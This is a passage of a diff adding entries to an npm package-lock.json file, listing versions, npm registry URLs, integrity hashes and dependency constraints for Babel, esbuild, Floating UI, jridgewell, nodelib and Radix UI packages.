+ "integrity": "sha512-ecjvYlnAaZ/KVneE/OdKYBYfgXV3Ptu6zQWmgEF7vwKhQnvVS6bjMD2XYgj+SNvQ1GfK/pjgokfPkC/2CO8CuA==",
+ "dependencies": {
+ "regenerator-runtime": "^0.13.11"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/template": {
+ "version": "7.20.7",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.20.7.tgz",
+ "integrity": "sha512-8SegXApWe6VoNw0r9JHpSteLKTpTiLZ4rMlGIm9JQ18KiCtyQiAMEazujAHrUS5flrcqYZa75ukev3P6QmUwUw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/code-frame": "^7.18.6",
+ "@babel/parser": "^7.20.7",
+ "@babel/types": "^7.20.7"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/traverse": {
+ "version": "7.21.4",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.21.4.tgz",
+ "integrity": "sha512-eyKrRHKdyZxqDm+fV1iqL9UAHMoIg0nDaGqfIOd8rKH17m5snv7Gn4qgjBoFfLz9APvjFU/ICT00NVCv1Epp8Q==",
+ "dev": true,
+ "dependencies": {
+ "@babel/code-frame": "^7.21.4",
+ "@babel/generator": "^7.21.4",
+ "@babel/helper-environment-visitor": "^7.18.9",
+ "@babel/helper-function-name": "^7.21.0",
+ "@babel/helper-hoist-variables": "^7.18.6",
+ "@babel/helper-split-export-declaration": "^7.18.6",
+ "@babel/parser": "^7.21.4",
+ "@babel/types": "^7.21.4",
+ "debug": "^4.1.0",
+ "globals": "^11.1.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/types": {
+ "version": "7.21.4",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.21.4.tgz",
+ "integrity": "sha512-rU2oY501qDxE8Pyo7i/Orqma4ziCOrby0/9mvbDUGEfvZjb279Nk9k19e2fiCxHbRRpY2ZyrgW1eq22mvmOIzA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-string-parser": "^7.19.4",
+ "@babel/helper-validator-identifier": "^7.19.1",
+ "to-fast-properties": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@esbuild/android-arm": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.17.16.tgz",
+ "integrity": "sha512-baLqRpLe4JnKrUXLJChoTN0iXZH7El/mu58GE3WIA6/H834k0XWvLRmGLG8y8arTRS9hJJibPnF0tiGhmWeZgw==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/android-arm64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.17.16.tgz",
+ "integrity": "sha512-QX48qmsEZW+gcHgTmAj+x21mwTz8MlYQBnzF6861cNdQGvj2jzzFjqH0EBabrIa/WVZ2CHolwMoqxVryqKt8+Q==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/android-x64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.17.16.tgz",
+ "integrity": "sha512-G4wfHhrrz99XJgHnzFvB4UwwPxAWZaZBOFXh+JH1Duf1I4vIVfuYY9uVLpx4eiV2D/Jix8LJY+TAdZ3i40tDow==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/darwin-arm64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.17.16.tgz",
+ "integrity": "sha512-/Ofw8UXZxuzTLsNFmz1+lmarQI6ztMZ9XktvXedTbt3SNWDn0+ODTwxExLYQ/Hod91EZB4vZPQJLoqLF0jvEzA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/darwin-x64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.17.16.tgz",
+ "integrity": "sha512-SzBQtCV3Pdc9kyizh36Ol+dNVhkDyIrGb/JXZqFq8WL37LIyrXU0gUpADcNV311sCOhvY+f2ivMhb5Tuv8nMOQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/freebsd-arm64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.17.16.tgz",
+ "integrity": "sha512-ZqftdfS1UlLiH1DnS2u3It7l4Bc3AskKeu+paJSfk7RNOMrOxmeFDhLTMQqMxycP1C3oj8vgkAT6xfAuq7ZPRA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/freebsd-x64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.17.16.tgz",
+ "integrity": "sha512-rHV6zNWW1tjgsu0dKQTX9L0ByiJHHLvQKrWtnz8r0YYJI27FU3Xu48gpK2IBj1uCSYhJ+pEk6Y0Um7U3rIvV8g==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/linux-arm": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.17.16.tgz",
+ "integrity": "sha512-n4O8oVxbn7nl4+m+ISb0a68/lcJClIbaGAoXwqeubj/D1/oMMuaAXmJVfFlRjJLu/ZvHkxoiFJnmbfp4n8cdSw==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/linux-arm64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.17.16.tgz",
+ "integrity": "sha512-8yoZhGkU6aHu38WpaM4HrRLTFc7/VVD9Q2SvPcmIQIipQt2I/GMTZNdEHXoypbbGao5kggLcxg0iBKjo0SQYKA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/linux-ia32": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.17.16.tgz",
+ "integrity": "sha512-9ZBjlkdaVYxPNO8a7OmzDbOH9FMQ1a58j7Xb21UfRU29KcEEU3VTHk+Cvrft/BNv0gpWJMiiZ/f4w0TqSP0gLA==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/linux-loong64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.17.16.tgz",
+ "integrity": "sha512-TIZTRojVBBzdgChY3UOG7BlPhqJz08AL7jdgeeu+kiObWMFzGnQD7BgBBkWRwOtKR1i2TNlO7YK6m4zxVjjPRQ==",
+ "cpu": [
+ "loong64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/linux-mips64el": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.17.16.tgz",
+ "integrity": "sha512-UPeRuFKCCJYpBbIdczKyHLAIU31GEm0dZl1eMrdYeXDH+SJZh/i+2cAmD3A1Wip9pIc5Sc6Kc5cFUrPXtR0XHA==",
+ "cpu": [
+ "mips64el"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/linux-ppc64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.17.16.tgz",
+ "integrity": "sha512-io6yShgIEgVUhExJejJ21xvO5QtrbiSeI7vYUnr7l+v/O9t6IowyhdiYnyivX2X5ysOVHAuyHW+Wyi7DNhdw6Q==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/linux-riscv64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.17.16.tgz",
+ "integrity": "sha512-WhlGeAHNbSdG/I2gqX2RK2gfgSNwyJuCiFHMc8s3GNEMMHUI109+VMBfhVqRb0ZGzEeRiibi8dItR3ws3Lk+cA==",
+ "cpu": [
+ "riscv64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/linux-s390x": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.17.16.tgz",
+ "integrity": "sha512-gHRReYsJtViir63bXKoFaQ4pgTyah4ruiMRQ6im9YZuv+gp3UFJkNTY4sFA73YDynmXZA6hi45en4BGhNOJUsw==",
+ "cpu": [
+ "s390x"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/linux-x64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.17.16.tgz",
+ "integrity": "sha512-mfiiBkxEbUHvi+v0P+TS7UnA9TeGXR48aK4XHkTj0ZwOijxexgMF01UDFaBX7Q6CQsB0d+MFNv9IiXbIHTNd4g==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/netbsd-x64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.17.16.tgz",
+ "integrity": "sha512-n8zK1YRDGLRZfVcswcDMDM0j2xKYLNXqei217a4GyBxHIuPMGrrVuJ+Ijfpr0Kufcm7C1k/qaIrGy6eG7wvgmA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/openbsd-x64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.17.16.tgz",
+ "integrity": "sha512-lEEfkfsUbo0xC47eSTBqsItXDSzwzwhKUSsVaVjVji07t8+6KA5INp2rN890dHZeueXJAI8q0tEIfbwVRYf6Ew==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/sunos-x64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.17.16.tgz",
+ "integrity": "sha512-jlRjsuvG1fgGwnE8Afs7xYDnGz0dBgTNZfgCK6TlvPH3Z13/P5pi6I57vyLE8qZYLrGVtwcm9UbUx1/mZ8Ukag==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "sunos"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/win32-arm64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.17.16.tgz",
+ "integrity": "sha512-TzoU2qwVe2boOHl/3KNBUv2PNUc38U0TNnzqOAcgPiD/EZxT2s736xfC2dYQbszAwo4MKzzwBV0iHjhfjxMimg==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/win32-ia32": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.17.16.tgz",
+ "integrity": "sha512-B8b7W+oo2yb/3xmwk9Vc99hC9bNolvqjaTZYEfMQhzdpBsjTvZBlXQ/teUE55Ww6sg//wlcDjOaqldOKyigWdA==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@esbuild/win32-x64": {
+ "version": "0.17.16",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.17.16.tgz",
+ "integrity": "sha512-xJ7OH/nanouJO9pf03YsL9NAFQBHd8AqfrQd7Pf5laGyyTt/gToul6QYOA/i5i/q8y9iaM5DQFNTgpi995VkOg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@floating-ui/core": {
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.3.1.tgz",
+ "integrity": "sha512-Bu+AMaXNjrpjh41znzHqaz3r2Nr8hHuHZT6V2LBKMhyMl0FgKA62PNYbqnfgmzOhoWZj70Zecisbo4H1rotP5g=="
+ },
+ "node_modules/@floating-ui/dom": {
+ "version": "1.4.2",
+ "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.4.2.tgz",
+ "integrity": "sha512-VKmvHVatWnewmGGy+7Mdy4cTJX71Pli6v/Wjb5RQBuq5wjUYx+Ef+kRThi8qggZqDgD8CogCpqhRoVp3+yQk+g==",
+ "dependencies": {
+ "@floating-ui/core": "^1.3.1"
+ }
+ },
+ "node_modules/@floating-ui/react-dom": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.0.1.tgz",
+ "integrity": "sha512-rZtAmSht4Lry6gdhAJDrCp/6rKN7++JnL1/Anbr/DdeyYXQPxvg/ivrbYvJulbRf4vL8b212suwMM2lxbv+RQA==",
+ "dependencies": {
+ "@floating-ui/dom": "^1.3.0"
+ },
+ "peerDependencies": {
+ "react": ">=16.8.0",
+ "react-dom": ">=16.8.0"
+ }
+ },
+ "node_modules/@jridgewell/gen-mapping": {
+ "version": "0.3.3",
+ "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz",
+ "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==",
+ "dependencies": {
+ "@jridgewell/set-array": "^1.0.1",
+ "@jridgewell/sourcemap-codec": "^1.4.10",
+ "@jridgewell/trace-mapping": "^0.3.9"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/resolve-uri": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz",
+ "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==",
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/set-array": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz",
+ "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==",
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/sourcemap-codec": {
+ "version": "1.4.15",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz",
+ "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg=="
+ },
+ "node_modules/@jridgewell/trace-mapping": {
+ "version": "0.3.18",
+ "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.18.tgz",
+ "integrity": "sha512-w+niJYzMHdd7USdiH2U6869nqhD2nbfZXND5Yp93qIbEmnDNk7PD48o+YchRVpzMU7M6jVCbenTR7PA1FLQ9pA==",
+ "dependencies": {
+ "@jridgewell/resolve-uri": "3.1.0",
+ "@jridgewell/sourcemap-codec": "1.4.14"
+ }
+ },
+ "node_modules/@jridgewell/trace-mapping/node_modules/@jridgewell/sourcemap-codec": {
+ "version": "1.4.14",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz",
+ "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw=="
+ },
+ "node_modules/@nodelib/fs.scandir": {
+ "version": "2.1.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+ "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+ "dependencies": {
+ "@nodelib/fs.stat": "2.0.5",
+ "run-parallel": "^1.1.9"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nodelib/fs.stat": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+ "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nodelib/fs.walk": {
+ "version": "1.2.8",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+ "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+ "dependencies": {
+ "@nodelib/fs.scandir": "2.1.5",
+ "fastq": "^1.6.0"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@radix-ui/number": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.0.1.tgz",
+ "integrity": "sha512-T5gIdVO2mmPW3NNhjNgEP3cqMXjXL9UbO0BzWcXfvdBs+BohbQxvd/K5hSVKmn9/lbTdsQVKbUcP5WLCwvUbBg==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10"
+ }
+ },
+ "node_modules/@radix-ui/primitive": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.0.1.tgz",
+ "integrity": "sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10"
+ }
+ },
+ "node_modules/@radix-ui/react-arrow": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.0.3.tgz",
+ "integrity": "sha512-wSP+pHsB/jQRaL6voubsQ/ZlrGBHHrOjmBnr19hxYgtS0WvAFwZhK2WP/YY5yF9uKECCEEDGxuLxq1NBK51wFA==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-primitive": "1.0.3"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-checkbox": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-checkbox/-/react-checkbox-1.0.4.tgz",
+ "integrity": "sha512-CBuGQa52aAYnADZVt/KBQzXrwx6TqnlwtcIPGtVt5JkkzQwMOLJjPukimhfKEr4GQNd43C+djUh5Ikopj8pSLg==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/primitive": "1.0.1",
+ "@radix-ui/react-compose-refs": "1.0.1",
+ "@radix-ui/react-context": "1.0.1",
+ "@radix-ui/react-presence": "1.0.1",
+ "@radix-ui/react-primitive": "1.0.3",
+ "@radix-ui/react-use-controllable-state": "1.0.1",
+ "@radix-ui/react-use-previous": "1.0.1",
+ "@radix-ui/react-use-size": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-collection": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.0.3.tgz",
+ "integrity": "sha512-3SzW+0PW7yBBoQlT8wNcGtaxaD0XSu0uLUFgrtHY08Acx05TaHaOmVLR73c0j/cqpDy53KBMO7s0dx2wmOIDIA==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-compose-refs": "1.0.1",
+ "@radix-ui/react-context": "1.0.1",
+ "@radix-ui/react-primitive": "1.0.3",
+ "@radix-ui/react-slot": "1.0.2"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-compose-refs": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.0.1.tgz",
+ "integrity": "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-context": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.0.1.tgz",
+ "integrity": "sha512-ebbrdFoYTcuZ0v4wG5tedGnp9tzcV8awzsxYph7gXUyvnNLuTIcCk1q17JEbnVhXAKG9oX3KtchwiMIAYp9NLg==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-dialog": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.0.4.tgz",
+ "integrity": "sha512-hJtRy/jPULGQZceSAP2Re6/4NpKo8im6V8P2hUqZsdFiSL8l35kYsw3qbRI6Ay5mQd2+wlLqje770eq+RJ3yZg==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/primitive": "1.0.1",
+ "@radix-ui/react-compose-refs": "1.0.1",
+ "@radix-ui/react-context": "1.0.1",
+ "@radix-ui/react-dismissable-layer": "1.0.4",
+ "@radix-ui/react-focus-guards": "1.0.1",
+ "@radix-ui/react-focus-scope": "1.0.3",
+ "@radix-ui/react-id": "1.0.1",
+ "@radix-ui/react-portal": "1.0.3",
+ "@radix-ui/react-presence": "1.0.1",
+ "@radix-ui/react-primitive": "1.0.3",
+ "@radix-ui/react-slot": "1.0.2",
+ "@radix-ui/react-use-controllable-state": "1.0.1",
+ "aria-hidden": "^1.1.1",
+ "react-remove-scroll": "2.5.5"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-direction": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.0.1.tgz",
+ "integrity": "sha512-RXcvnXgyvYvBEOhCBuddKecVkoMiI10Jcm5cTI7abJRAHYfFxeu+FBQs/DvdxSYucxR5mna0dNsL6QFlds5TMA==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-dismissable-layer": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.0.4.tgz",
+ "integrity": "sha512-7UpBa/RKMoHJYjie1gkF1DlK8l1fdU/VKDpoS3rCCo8YBJR294GwcEHyxHw72yvphJ7ld0AXEcSLAzY2F/WyCg==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/primitive": "1.0.1",
+ "@radix-ui/react-compose-refs": "1.0.1",
+ "@radix-ui/react-primitive": "1.0.3",
+ "@radix-ui/react-use-callback-ref": "1.0.1",
+ "@radix-ui/react-use-escape-keydown": "1.0.3"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-focus-guards": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.0.1.tgz",
+ "integrity": "sha512-Rect2dWbQ8waGzhMavsIbmSVCgYxkXLxxR3ZvCX79JOglzdEy4JXMb98lq4hPxUbLr77nP0UOGf4rcMU+s1pUA==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-focus-scope": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.0.3.tgz",
+ "integrity": "sha512-upXdPfqI4islj2CslyfUBNlaJCPybbqRHAi1KER7Isel9Q2AtSJ0zRBZv8mWQiFXD2nyAJ4BhC3yXgZ6kMBSrQ==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-compose-refs": "1.0.1",
+ "@radix-ui/react-primitive": "1.0.3",
+ "@radix-ui/react-use-callback-ref": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-id": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.0.1.tgz",
